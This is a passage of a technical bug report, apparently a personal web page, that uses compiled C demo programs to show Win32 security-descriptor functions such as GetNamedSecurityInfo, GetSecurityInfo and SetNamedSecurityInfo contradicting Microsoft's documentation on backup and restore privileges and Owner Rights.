Value Universal Well-Known SID Identifies … … … S-1-3-4 Owner Rights A group that represents the current owner of the object. When an ACE that carries this SID is applied to an object, the system ignores the implicit READ_CONTROL and WRITE_DAC permissions for the object owner. 
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <aclapi.h>
#define FILE_SHARE_NONE	0UL
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
#ifdef BLUNDER
	SECURITY_DESCRIPTOR	*lpSD;
#endif
#ifndef blunder
	DWORD	dwError = GetNamedSecurityInfo(L"blunder.exe",
		                               SE_FILE_OBJECT,
		                               OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
		                               (SID **) NULL,
		                               (SID **) NULL,
		                               (ACL **) NULL,
		                               (ACL **) NULL,
#ifndef BLUNDER
		                               (SECURITY_DESCRIPTOR **) NULL);
#else
		                               &lpSD);
		if (dwError == ERROR_SUCCESS)
			if (LocalFree(lpSD) != NULL)
				dwError = GetLastError();
#endif
#else // blunder
	DWORD	dwError;
	HANDLE	hBlunder = CreateFile(L"blunder.exe",
		                      READ_CONTROL,
		                      FILE_SHARE_NONE,
		                      (LPSECURITY_ATTRIBUTES) NULL,
		                      OPEN_EXISTING,
		                      FILE_FLAG_BACKUP_SEMANTICS,
		                      (HANDLE) NULL);
	if (hBlunder == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		dwError = GetSecurityInfo(hBlunder,
		                          SE_FILE_OBJECT,
		                          OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
		                          (SID **) NULL,
		                          (SID **) NULL,
		                          (ACL **) NULL,
		                          (ACL **) NULL,
#ifndef BLUNDER
		                          (SECURITY_DESCRIPTOR **) NULL);
#else
		                          &lpSD);
		if (dwError == ERROR_SUCCESS)
			if (LocalFree(lpSD) != NULL)
				dwError = GetLastError();
#endif
		if (!CloseHandle(hBlunder))
			dwError = GetLastError();
	}
#endif // blunder
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87) Error message text: The parameter is incorrect. CertUtil: -error command completed successfully.OUCH²: contrary to the first highlighted statement of its documentation cited above, the Win32 function
GetNamedSecurityInfo()
            fails with Win32 error code 87 alias
            ERROR_INVALID_PARAMETER
            if its ppSecurityDescriptor parameter is
            NULL!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            blunder defined:
        
CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87) Error message text: The parameter is incorrect. CertUtil: -error command completed successfully.OUCH³: contrary to the first highlighted statement of its documentation cited above, the Win32 function
GetSecurityInfo()
            also fails with Win32 error code 87 alias
            ERROR_INVALID_PARAMETER
            if its ppSecurityDescriptor parameter is
            NULL!
         Compile and link the source file blunder.c created in
            step 1. a third time, now with the preprocessor macros
            blunder and BLUNDER defined:
        
CL.EXE /DBLUNDER /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 6. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
 Compile and link the source file blunder.c created in
            step 1. a last time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 8. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
 Finally replace the
            DACL of
            the console application blunder.exe built in
            step 8. with
            D:PAI(A;;0x1D01BF;;;OW),
            i.e. grant the image file's owner all access rights except
            READ_CONTROL, then execute it and
            evaluate its exit code:
        
ICACLS.EXE blunder.exe /GRANT *S-1-3-4:(AD,DE,RA,RD,REA,S,WA,WD,WDAC,WEA,WO,X) /INHERITANCE:R /Q .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Successfully processed 1 files; Failed processing 0 files 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH⁴: contrary to the last highlighted statement of its documentation cited above, the Win32 function
GetNamedSecurityInfo()
            fails with Win32 error code 5 alias
            ERROR_ACCESS_DENIED
            although the calling process is the object's owner here!
        Privileges determine the type of system operations that a user account can perform. An administrator assigns privileges to user and group accounts. Each user's privileges include those granted to the user and to the groups to which the user belongs.The documentation cited above but fails to tell that the[…]
Constant/value Description … … SE_BACKUP_NAME 
TEXT("SeBackupPrivilege")Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. […] The following access rights are granted if this privilege is held: […]
- READ_CONTROL
- ACCESS_SYSTEM_SECURITY
- FILE_GENERIC_READ
- FILE_TRAVERSE
… … SE_RESTORE_NAME 
TEXT("SeRestorePrivilege")Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any valid user or group SID as the owner of a file. […] The following access rights are granted if this privilege is held: […]
- WRITE_DAC
- WRITE_OWNER
- ACCESS_SYSTEM_SECURITY
- FILE_GENERIC_WRITE
- FILE_ADD_FILE
- FILE_ADD_SUBDIRECTORY
- DELETE
SE_SECURITY_NAME 
TEXT("SeSecurityPrivilege")Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a security operator. […] … … 
SeSecurityPrivilege
            alias
            SE_SECURITY_NAME
            privilege
            is required to exercise the
            ACCESS_SYSTEM_SECURITY access right,
            as documented in the
            MSDN article
            SACL Access Right
            – which in turn fails to tell that the
            SeBackupPrivilege
            alias
            SE_BACKUP_NAME
            and
            SeRestorePrivilege
            alias
            SE_RESTORE_NAME
            privileges
            allow it too:
        The ACCESS_SYSTEM_SECURITY access right controls the ability to get or set the SACL in an object's security descriptor. The system grants this access right only if the SE_SECURITY_NAME privilege is enabled in the access token of the requesting thread.The documentation for the Win32 function
CreateFile()
            specifies:
        Creates or opens a file or I/O device. […][…]HANDLE CreateFile( [in] LPCTSTR lpFileName, [in] DWORD dwDesiredAccess, [in] DWORD dwShareMode, [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes, [in] DWORD dwCreationDisposition, [in] DWORD dwFlagsAndAttributes, [in, optional] HANDLE hTemplateFile );
[in] dwFlagsAndAttributesThe file or device attributes and flags, […]
Flag Meaning FILE_FLAG_BACKUP_SEMANTICS 
0x02000000The file is being opened or created for a backup or restore operation. The system ensures that the calling process overrides file security checks when the process has SE_BACKUP_NAME and SE_RESTORE_NAME privileges. […] […]
To open a directory using CreateFile, specify the FILE_FLAG_BACKUP_SEMANTICS flag as part of dwFlagsAndAttributes. Appropriate security checks still apply when this flag is used without SE_BACKUP_NAME and SE_RESTORE_NAME privileges.
SECURITY_ATTRIBUTES
            The documentation for the Win32 function
            SetSecurityInfo()
            states:
        The SetSecurityInfo function sets specified security information in the security descriptor of a specified object. The caller identifies the object by a handle.The documentation for the Win32 functionTo set the SACL of an object, the caller must have the SE_SECURITY_NAME privilege enabled.
SetNamedSecurityInfo()
            states:
        The SetNamedSecurityInfo function sets specified security information in the security descriptor of a specified object. The caller identifies the object by name.File Security and Access Rights[…]DWORD SetNamedSecurityInfo( [in] LPTSTR pObjectName, [in] SE_OBJECT_TYPE ObjectType, [in] SECURITY_INFORMATION SecurityInfo, [in, optional] PSID psidOwner, [in, optional] PSID psidGroup, [in, optional] PACL pDacl, [in, optional] PACL pSacl );
[in, optional] psidOwnerA pointer to a SID structure that identifies the owner of the object. If the caller does not have the SeRestorePrivilege constant (see Privilege Constants), this SID must be contained in the caller's token, and must have the SE_GROUP_OWNER permission enabled. The SecurityInfo parameter must include the OWNER_SECURITY_INFORMATION flag. To set the owner, the caller must have WRITE_OWNER access to the object or have the SE_TAKE_OWNERSHIP_NAME privilege enabled. If you are not setting the owner SID, this parameter can be NULL.
[in, optional] psidGroupA pointer to a SID that identifies the primary group of the object. The SecurityInfo parameter must include the GROUP_SECURITY_INFORMATION flag. If you are not setting the primary group SID, this parameter can be NULL.
[in, optional] pDaclA pointer to the new DACL for the object. The SecurityInfo parameter must include the DACL_SECURITY_INFORMATION flag. The caller must have WRITE_DAC access to the object or be the owner of the object. If you are not setting the DACL, this parameter can be NULL.
[in, optional] pSaclA pointer to the new SACL for the object. The SecurityInfo parameter must include any of the following flags: SACL_SECURITY_INFORMATION, LABEL_SECURITY_INFORMATION, ATTRIBUTE_SECURITY_INFORMATION, SCOPE_SECURITY_INFORMATION, or BACKUP_SECURITY_INFORMATION.
If setting SACL_SECURITY_INFORMATION or SCOPE_SECURITY_INFORMATION, the caller must have the SE_SECURITY_NAME privilege enabled. If you are not setting the SACL, this parameter can be NULL.
SE_OBJECT_TYPE
            SECURITY_INFORMATION
            SID
            ACL
            Note: indicated by the first highlighted statement
            of this documentation, the Win32 function
            SetNamedSecurityInfo()
            should honor at least the
            SeRestorePrivilege
            alias
            SE_RESTORE_NAME
            privilege!
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <sddl.h>
#include <aclapi.h>
#define NO_ACCESS	0UL
#define FILE_SHARE_NONE	0UL
#define SE_BACKUP_PRIVILEGE	17UL	// "SeBackupPrivilege"
const	TOKEN_PRIVILEGES	tpBackup = {ANYSIZE_ARRAY, {SE_BACKUP_PRIVILEGE, 0L, SE_PRIVILEGE_ENABLED}};
const	SID	group = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID};
typedef	struct	_ace
{
	ACE_HEADER	Header;
	ACCESS_MASK	Mask;
	SID		Trustee;
} ACE;
const	struct	_acl
{
	ACL	acl;
	ACE	ace;
} dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
	// (A;NP;;;;OW)
          {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
           NO_ACCESS,
           {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}};
const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
				      0,
				      SE_DACL_PRESENT | SE_DACL_PROTECTED,
				      (SID *) NULL,
				      &group,
				      (ACL *) NULL,
				      &dacl};
const	SECURITY_ATTRIBUTES	sa = {sizeof(sa), &sd, FALSE};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	SECURITY_DESCRIPTOR	*lpSD;
	LPWSTR	lpSDDL;
	DWORD	dwSDDL;
	DWORD	dwError;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	HANDLE	hToken;
	HANDLE	hProcess = GetCurrentProcess();
	HANDLE	hBlunder = CreateFile(L"blunder.tmp",
		                      NO_ACCESS,
		                      FILE_SHARE_NONE,
		                      &sa,
		                      CREATE_NEW,
		                      FILE_ATTRIBUTE_NORMAL,
		                      (HANDLE) NULL);
	if (hBlunder == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		if (!CloseHandle(hBlunder))
			dwError = GetLastError();
		if (!OpenProcessToken(hProcess,
		                      TOKEN_ADJUST_PRIVILEGES,
		                      &hToken))
			dwError = GetLastError();
		else
		{
			AdjustTokenPrivileges(hToken,
			                      FALSE,
			                      &tpBackup,
			                      0UL,
			                      (TOKEN_PRIVILEGES *) NULL,
			                      (DWORD *) NULL);
			dwError = GetLastError();
#ifndef blunder
			if (dwError == ERROR_SUCCESS)
			{
				dwError = GetNamedSecurityInfo(L"blunder.tmp",
				                               SE_FILE_OBJECT,
#ifdef BLUNDER
				                               SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION |
#endif
				                               DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
				                               GROUP_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
				                               (SID **) NULL,
				                               (SID **) NULL,
				                               (ACL **) NULL,
				                               (ACL **) NULL,
				                               &lpSD);
				if (dwError == ERROR_SUCCESS)
				{
					if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
					                                                         SDDL_REVISION_1,
					                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
					                                                         &lpSDDL,
					                                                         &dwSDDL))
						dwError = GetLastError();
					else
					{
						lpSDDL[dwSDDL = wcslen(lpSDDL)] = L'\n';
						if (!WriteConsole(hError, lpSDDL, ++dwSDDL, &dwError, NULL))
							dwError = GetLastError();
						else
							if (dwError ^= dwSDDL)
								dwError = ERROR_WRITE_FAULT;
						//	else
						//		dwError = ERROR_SUCCESS;
						if (LocalFree(lpSDDL) != NULL)
							dwError = GetLastError();
					}
					if (LocalFree(lpSD) != NULL)
						dwError = GetLastError();
				}
			}
#else // blunder
			if (dwError == ERROR_SUCCESS)
			{
				hBlunder = CreateFile(L"blunder.tmp",
				                      MAXIMUM_ALLOWED,
				                      FILE_SHARE_NONE,
				                      (LPSECURITY_ATTRIBUTES) NULL,
				                      OPEN_EXISTING,
				                      FILE_FLAG_BACKUP_SEMANTICS,
				                      (HANDLE) NULL);
				if (hBlunder == INVALID_HANDLE_VALUE)
					dwError = GetLastError();
				else
				{
					dwError = GetSecurityInfo(hBlunder,
					                          SE_FILE_OBJECT,
#ifdef BLUNDER
					                          SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION |
#endif
					                          DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
					                          GROUP_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
					                          (SID **) NULL,
					                          (SID **) NULL,
					                          (ACL **) NULL,
					                          (ACL **) NULL,
					                          &lpSD);
					if (dwError == ERROR_SUCCESS)
					{
						if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
						                                                         SDDL_REVISION_1,
						                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
						                                                         &lpSDDL,
						                                                         &dwSDDL))
							dwError = GetLastError();
						else
						{
							lpSDDL[dwSDDL = wcslen(lpSDDL)] = L'\n';
							if (!WriteConsole(hError, lpSDDL, ++dwSDDL, &dwError, NULL))
								dwError = GetLastError();
							else
								if (dwError ^= dwSDDL)
									dwError = ERROR_WRITE_FAULT;
							//	else
							//		dwError = ERROR_SUCCESS;
							if (LocalFree(lpSDDL) != NULL)
								dwError = GetLastError();
						}
						if (LocalFree(lpSD) != NULL)
							dwError = GetLastError();
					}
				}
				if (!CloseHandle(hBlunder))
					dwError = GetLastError();
			}
#endif // blunder
			if (!CloseHandle(hToken))
				dwError = GetLastError();
		}
		if (!DeleteFile(L"blunder.tmp"))
			dwError = GetLastError();
	}
	ExitProcess(dwError);
}ACL
            ACE_HEADER
            ACE
         Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(41) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(43) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(45) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(61) : warning C4090: 'function' : different 'const' qualifiers blunder.c(81) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Create the text file blunder.exe.manifest with the
            following content next to the console application
            blunder.exe built in step 2.:
        
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- (C)opyright 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
    <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
    <description>Blunder Console Application</description>
    <trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
        <security>
            <requestedPrivileges>
                <requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
            </requestedPrivileges>
        </security>
    </trustInfo>
</assembly> Execute the console application blunder.exe built in
            step 2. with elevated access rights and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH¹: the Win32 function
GetNamedSecurityInfo()
            fails to read the
            security descriptor
            with Win32 error code 5 alias
            ERROR_ACCESS_DENIED
            – contrary to the highlighted statements of the first
            documentation cited above, the
            SeBackupPrivilege
            alias
            SE_BACKUP_NAME
            privilege
            does not grant the explicitly
            named READ_CONTROL access right!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(41) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(43) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(45) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(61) : warning C4090: 'function' : different 'const' qualifiers blunder.c(81) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 5. with elevated access rights and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x522 (WIN32: 1314 ERROR_PRIVILEGE_NOT_HELD) -- 1314 (1314) Error message text: A required privilege is not held by the client. CertUtil: -error command completed successfully.OUCH²: the Win32 function
GetNamedSecurityInfo()
            fails to read the
            security descriptor
            with Win32 error code 1314 alias
            ERROR_PRIVILEGE_NOT_HELD
            – contrary to the highlighted statements of the first
            documentation cited above, the
            SeBackupPrivilege
            alias
            SE_BACKUP_NAME
            privilege
            also does not grant the explicitly
            named ACCESS_SYSTEM_SECURITY access
            right required to read (and write) the
            SACL!
         Compile and link the source file blunder.c created in
            step 1. a third time, now with the preprocessor macro
            blunder defined:
        
CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(41) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(43) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(45) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(61) : warning C4090: 'function' : different 'const' qualifiers blunder.c(81) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 7. with elevated access rights and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
O:BAG:AUD:P(A;NP;;;;OW) 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Note: the Win32 function
GetSecurityInfo()
            succeeds and works properly – most obviously the
            GetNamedSecurityInfo()
            function opens files without the
            FILE_FLAG_BACKUP_SEMANTICS flag!
         Compile and link the source file blunder.c created in
            step 1. a last time, now with the preprocessor macros
            BLUNDER and blunder defined:
        
CL.EXE /DBLUNDER /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(41) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(43) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(45) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(61) : warning C4090: 'function' : different 'const' qualifiers blunder.c(81) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 9. with elevated access rights and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
O:BAG:AUD:(A;NP;;;;OW)
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
            OUCH⁴: the Win32 function
            GetSecurityInfo()
            succeeds again, but fails to work properly – if the
            SACL is
            requested with the
            SACL_SECURITY_INFORMATION
            flag of its SecurityInfo parameter it drops the
            SE_DACL_PROTECTED
            flag of the
            security descriptor
            despite the also given
            PROTECTED_DACL_SECURITY_INFORMATION
            and
            PROTECTED_SACL_SECURITY_INFORMATION
            flags!
         CAVEAT: most obviously the Win32
            functions
            GetNamedSecurityInfo()
            and
            GetSecurityInfo()
            have bugs!
        
 Overwrite the text file blunder.c created in
            step 1. with the following content:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <aclapi.h>
#define NO_ACCESS	0UL
#define FILE_SHARE_NONE	0UL
#define SE_RESTORE_PRIVILEGE	18UL	// "SeRestorePrivilege"
const	TOKEN_PRIVILEGES	tpRestore = {ANYSIZE_ARRAY, {SE_RESTORE_PRIVILEGE, 0L, SE_PRIVILEGE_ENABLED}};
const	SID	owner = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID};
typedef	struct	_ace
{
	ACE_HEADER	Header;
	ACCESS_MASK	Mask;
	SID		Trustee;
} ACE;
const	struct	_acl
{
	ACL	acl;
	ACE	ace;
} dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
	// (A;NP;;;;OW)
          {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
           NO_ACCESS,
           {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}},
  sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
	// (ML;NP;NRNWNX;;;HI)
          {{SYSTEM_MANDATORY_LABEL_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
           SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
           {SID_REVISION, ANYSIZE_ARRAY, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_HIGH_RID}}};
const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
				      0,
				      SE_DACL_PRESENT | SE_DACL_PROTECTED,
				      (SID *) NULL,
				      (SID *) NULL,
				      (ACL *) NULL,
				      &dacl};
const	SECURITY_ATTRIBUTES	sa = {sizeof(sa), &sd, FALSE};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError;
	HANDLE	hProcess = GetCurrentProcess();
	HANDLE	hToken;
	HANDLE	hBlunder = CreateFile(L"blunder.tmp",
		                      NO_ACCESS,
		                      FILE_SHARE_NONE,
		                      &sa,
		                      CREATE_NEW,
		                      FILE_ATTRIBUTE_NORMAL,
		                      (HANDLE) NULL);
	if (hBlunder == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		if (!CloseHandle(hBlunder))
			dwError = GetLastError();
		if (!OpenProcessToken(hProcess,
		                      TOKEN_ADJUST_PRIVILEGES,
		                      &hToken))
			dwError = GetLastError();
		else
		{
			AdjustTokenPrivileges(hToken,
			                      FALSE,
			                      &tpRestore,
			                      0UL,
			                      (TOKEN_PRIVILEGES *) NULL,
			                      (DWORD *) NULL);
			dwError = GetLastError();
#ifndef blunder
			if (dwError == ERROR_SUCCESS)
				dwError = SetNamedSecurityInfo(L"blunder.tmp",
				                               SE_FILE_OBJECT,
#ifdef BLUNDER
				                               SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION |
#endif
				                               DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
				                               LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
				                               &owner,
				                               (SID *) NULL,
				                               (ACL *) NULL,
#ifndef BLUNDER
				                               (ACL *) NULL);
#else
				                               &sacl);
#endif
#else // blunder
			if (dwError == ERROR_SUCCESS)
			{
				hBlunder = CreateFile(L"blunder.tmp",
				                      MAXIMUM_ALLOWED,
				                      FILE_SHARE_NONE,
				                      (LPSECURITY_ATTRIBUTES) NULL,
				                      OPEN_EXISTING,
				                      FILE_FLAG_BACKUP_SEMANTICS,
				                      (HANDLE) NULL);
				if (hBlunder == INVALID_HANDLE_VALUE)
					dwError = GetLastError();
				else
				{
					dwError = SetSecurityInfo(hBlunder,
					                          SE_FILE_OBJECT,
#ifdef BLUNDER
